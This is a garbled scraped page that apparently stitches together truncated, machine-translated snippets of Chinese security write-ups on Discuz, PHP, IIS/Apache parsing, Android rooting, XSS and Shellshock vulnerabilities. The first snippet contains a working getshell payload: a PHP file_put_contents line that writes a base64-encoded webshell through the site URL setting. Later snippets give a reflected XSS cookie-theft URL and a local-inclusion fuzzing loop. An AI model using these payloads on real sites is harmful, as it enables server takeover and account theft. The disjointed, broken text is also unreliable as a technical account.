Discuz3.2 vulnerability File Inclusion Vulnerability shell in the background
Because the topic was not created
Static nameThis vulnerability is caused by any restrictions1. Global-> site information
Website URL:
Http://www.comsenz.com? Php file_put_contents ('0. php', base64_decode ('pd9wahagqgv2ywwojf9qt1nuw2fdktsgpz4 = ');?>
2. Tools> Update Cache
Yilong loan User Password Change Vulnerability (logical vulnerability not cracked)
On the official website of Yilong loan, there is a random user password change vulnerability when retrieving the password.
Step 1: retrieve the password, click "Send verification code", enter the Incorrect verification code, and capture the packet:
Write down the error return
Analysis of Common PHP program vulnerability attacks and php program vulnerability attacks
Summary: PHP programs are not solid. With the widespread use of PHP, some hackers do not want to bother with PHP, and attacks by using PHP program vulnerabilities are one of them. In this section, we will analyze the security of PHP in terms of global variables, remote files, file uploads, library files, Session files
OpenVAS is an open vulnerability assessment tool used to detect the security of the target network or host. Similar to the X-Scan tool of security focus, OpenVAS uses some open plug-ins earlier than Nessus. OpenVAS can work based on the C/S (Client/Server) and B/S (Browser/Server) architecture. The administrator can issue scanning tasks through a browser or a dedicated client program, server-side load autho
Alert! After installing the CPU vulnerability patch in Win7, a blue screen is displayed! Security mode cannot be used. win7 vulnerability patches
After reporting last week that Windows 10 has accumulated an update of KB4056892, which causes incompatibility with AMD Athlon 64 x2 processors, it has recently reported that the upgrade of KB4056894 released by Microsoft for Windows 7 has failed, the error code
Cnbird
We all know that in Windows + IIS6.0, if there is a directory like xxx. asp in the directory structure, all files under this directory will be parsed as asp regardless of the extension. We generally call this vulnerability windows2003 + iis6.0 directory Parsing Vulnerability. However, what you may not know is that the apache server has similar parsing vulnerabilities.Let's start the experiment. I ha
Reprinted from: http://intrepidusgroup.com/insight/2010/09/android-root-source-code-looking-at-the-c-skills/
Root andoid currently mainly relies on two vulnerabilities: udev of the init process and setuid of the adbd process. The following describes in detail. The rageagainstthecage program mentioned in previous articles uses the setuid vulnerability.
The source code of these two vulnerabilities is here:/files/super119/rageagainstthecage.zip
This is
not directly put the uploaded file in the root directory of the website, but saves it as a temporary file named $ _ FILES ['file'] ['tmp _ name, the developer must copy the temporary file to the saved website folder.
$ _ FILES ['file'] ['tmp _ name'] values are set by PHP, which is different from the original file name, developers must use $ _ FILES ['file'] ['name'] to obtain the original name of the uploaded file.
Error message during File Upload
$ _ FILES ['file'] ['error'] variable is used
We all know that in Windows + iis6.0, if there is a directory like XXX. asp in the directory structure, all files under this directory will be parsed as ASP regardless of the extension. We generally call this vulnerability Windows2003 + iis6.0 directory Parsing Vulnerability. However, what you may not know is that the Apache server has similar parsing vulnerabilities.Let's start the experiment. I have built
intval function Gets the integer value of the variableThe maximum value of intval depends on the operating system. The 32-bit system maximum signed integer range is 2147483648 to 2147483647. For example, on such a system, intval (' 1000000000000 ') returns 2147483647. On a 64-bit system, the maximum signed integer value is 9223372036854775807.This has an application is to judge the value is not a palindrome, if the parameter is 2147483647, then when it is in turn, because the limit is exceeded,
This article [email protected]Originally from: https://bbs.ichunqiu.com/thread-42943-1-1.html0x00 the vulnerability in printf functions the family of printf functions is a common function family in C programming. In general, we use the form of printf ([formatted string], arguments) to make calls, such asHowever, sometimes for the sake of convenience can also be writtenIn fact, this is a very dangerous notation. Due to a design flaw in the printf funct
squarefree.com)
Then, the address will be sent to Weibo. Once a user clicks attack.html (in the logon status), the following emails will be sent to the hacker's mailbox.
Then, when a hacker clicks this email without logging on to Tudou, it will also remind you that the mailbox is successfully bound (so the more serious vulnerability may be here ), although it will jump to the login page again (http://login.tudou.com/login.do? Noreg = OK service = ht
An example of XSS + logic vulnerability verification.>. Only one reflected XSS is found>. The parameter that is not filtered is CatalogName.Http://www.m18.com/Style/CatalogSubscribe.aspx? CatalogName = "> CommentUrl = http://www.m18.com/Catalog/F90411/cover.htmlPicture=http://img.m18.com/IMG2008/catalog/F90411.jpgAfter you log on with a cookie stolen by XSS, there is no verification step when you modify the email address used for Logon. You can chan
myself.
----------------------------- Split line of JJ -----------------------------
This program also has a local Inclusion Vulnerability.
After logging on locally, the code in admin. php is as follows:
The following is a reference clip:
Ini_set ('max _ execution_time ', 0 );$ Str = '';For ($ I = 0; I I {$ Str = $ str .".";$ Pfile = "create.txt ";If (include_once ($ pfile. $ str. '. php') echo $ I;}?>We hope you will discuss this issue together.
Thi
passive security policy enforcement device, like a doorman, that enforces security in accordance with policy rules and does not take the liberty of doing so.
The firewall cannot prevent the man-made or natural damage that can be contacted. A firewall is a security device, but the firewall itself must exist in a secure place.
Firewall can not prevent the use of the standard network protocol defects in the attack. Once a firewall permits certain standard network protocols, firewalls cannot prev
According to our program code audit for Pjblog, we found that pjblog multiple pages have SQL injection vulnerabilities, so that malicious users can use injection vulnerabilities to get the Administrator account password, and malicious attacks.
We strongly recommend that users who use Pjblog immediately check to see if your system is affected by this vulnerability and are closely concerned about the security updates released by Pjblog official
Offi
This article is mainly on the cause of the PHP Program Vulnerability Analysis and prevention methods for a detailed introduction, the need for friends can come to the reference, I hope to help you. Misuse of includenbsp; nbsp; 1. Vulnerability reason:nbsp; nbsp; include is the most commonly used function in writing PHP Web sites and supports relative paths. There are many PHP scripts that directly take an
Recently, the vulnerability of Linux server was scanned comprehensively, and found the following problems for peer reference:
Vulnerability description
Vulnerability Name
650) this.width=650; "src=" Https://119.254.115.119/images/vm.gif "alt=" vm.gif "/> guessed that there is a login username password for the remote SNM
September 25 News from Beijing time, Linux users today got a "surprise"! The Red Hat security team found a cryptic and dangerous security flaw in a bash shell that is widely used in Linux. The vulnerability is known as "Bash Bug" or "Shellshock".When the user is properly accessed, the vulnerability allows the attacker's code to execute as if it were in the shell, which opens the door for a variety of attack
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.